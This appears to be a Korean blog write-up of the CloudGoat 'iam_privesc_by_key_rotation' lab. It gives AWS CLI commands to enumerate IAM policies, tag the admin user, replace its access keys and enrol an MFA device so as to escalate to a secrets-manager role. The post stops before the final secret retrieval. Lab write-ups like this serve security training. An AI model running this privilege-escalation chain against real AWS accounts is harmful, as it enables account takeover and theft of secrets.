본문 바로가기
CS

cloudGoat #5 iam_privesc_by_key_rotation 실습

by 몰라몰라개복치 2024. 4. 2.

Scenario

Exploit insecure IAM permissions to escalate your access. Start with a role that manages other users credentials and find a weakness in the setup to access the "admin" role. Using the admin role retrieve the flag from secretsmanager.

=> Admin role을 통해 SecretsManager에 있는 flag 탈취

 

 

시나리오 설정 명령어

sudo ./cloudgoat.py create iam_privesc_by_key_rotation

 

결과 화면

start.txt에 시나리오 시작에 대한 정보(kerrigan user credential)가 담긴 파일이 생성된다. (credential한 정보임으로 필터링)

 

Answer

cat start.txt를 통해 먼저 정보를 읽는다.

해당 파일의 Credential을 .aws/credentials에 Profile로 추가해준다.

 

 

(1) 주어진 user의 정보 가져오기

aws sts get-caller-identity --profile cg-kerrigan

 

 

 

(2) iam user 목록화 및 각 user별 Role & Policy 확인

aws iam list-users --profile cg-kerrigan

admin, developer, manager 총 세 개의 user가 있었고 AWS IAM 대시보드에서도 확인 가능

 

user 별로 policy를 확인하는 명령어

# 특정 user에 attached된 Managed policy 목록 확인
aws iam list-attached-user-policies --user-name [user명] --profile cg-kerrigan

# 특정 user에 attached된 Inline policy 목록 확인
aws iam list-user-policies --user-name [user명] --profile cg-kerrigan

각 user 별로 policy를 확인 가능

 

  admin developer manager
Managed Policy IAMReadOnlyAccess x IAMReadOnlyAccess
Inline Policy AssumeRoles DeveloperViewSecretes SelfManageAccess
TagResources

 

 

Policy의 document 확인

aws iam get-user-policy --user-name [user명] --policy-name [policy명] --profile cg-kerrigan

 

 

Manager Policy 확인

 

- MFA와 AccessKey를 관리할 수 있는 statement 확인 

- user, role, MFADevice들에 대해 태그를 관리할 수 있는 statement 확인

 

 

Admin Policy 확인

admin에서 cg-secretsmanager라는 role에 AssumeRole이 허용돼 있는 것을 확인 

  

 

 

(3) cg-secretsmanager 정보 탐색

aws iam get-role --role-name [role명] --profile cg-kerrigan

 

- MFA가 true이면 AssumeRole을 해줄 수 있다.

- cg_view_secrets도 attached 돼 있다.

 

해당 policy의 내용을 확인하였다

aws iam get-policy --policy-arn [policy ARN] --profile cg-kerrigan

 

 

버전 정보 확인

aws iam get-policy-version --policy-arn [policy ARN] --version-id [버전ID] --profile cg-kerrigan

- Secret 목록을 읽고, SecretValue도 읽어올 수 있다.

- admin user의 권한을 통해 SecretValue를 읽어올 수 있다

 

 

(4) exploit

manager의 policy 정보 확인을 통해 이 계정내의 모든 MFA와 user들에 Tag를 삽입할 수 있다는 점과 developer 태그가 달린 MFA와 AccessKey를 관리할 수 있다는 점을 알 수 있었다.

-> Manager로 Admin user에 developer:true 태그를 할당

aws iam tag-user --user-name [user명] --tags '{"Key":"developer", "Value": "true"}' --profile cg-kerrigan

 

-> Admin user의 AccessKey를 임의로 생성하면 Admin user의 권한을 탈취하는 흐름 가능

# user의 AccessKey 생성
aws iam create-access-keys --user-name [user명] --profile cg-kerrigan

AccessKey를 생성하면 갯수 제한에 막힌다.

admin user의 AccessKey 목록을 확인하고 하나를 지우고 생성

 

 

# user의 AccessKey 목록 확인
aws iam list-access-keys --user-name [user명] --profile cg-kerrigan

# user의 AccessKey 삭제
aws iam delete-access-key --user-name [user명] --access-key-id [AccessKey ID] --profile cg-kerrigan

 

 

생성 완료 

 

 

# 가상 MFA 기기 등록
aws iam create-virtual-mfa-device --virtual-mfa-device-name cg_temp_nfa --outfile temp_mfa.png --bootstrap-method QRCodePNG --profile cg-kerrigan
# user에 MFA 활성화
aws iam enable-mfa-device --user-name [user명] --serial-number [MFA device serial] \
--authentication-code1 [otp코드1] --authentication-code2 [otp코드2] --profile cg-kerrigan

'CS' 카테고리의 다른 글

서버 네트워크 기본  (1) 2024.04.18
라우터/L3 스위치: 3계층 장비  (0) 2024.03.28
네트워크 연결과 구성 요소  (2) 2024.03.14
네트워크 시작하기  (0) 2024.03.14
DHCP  (0) 2021.08.04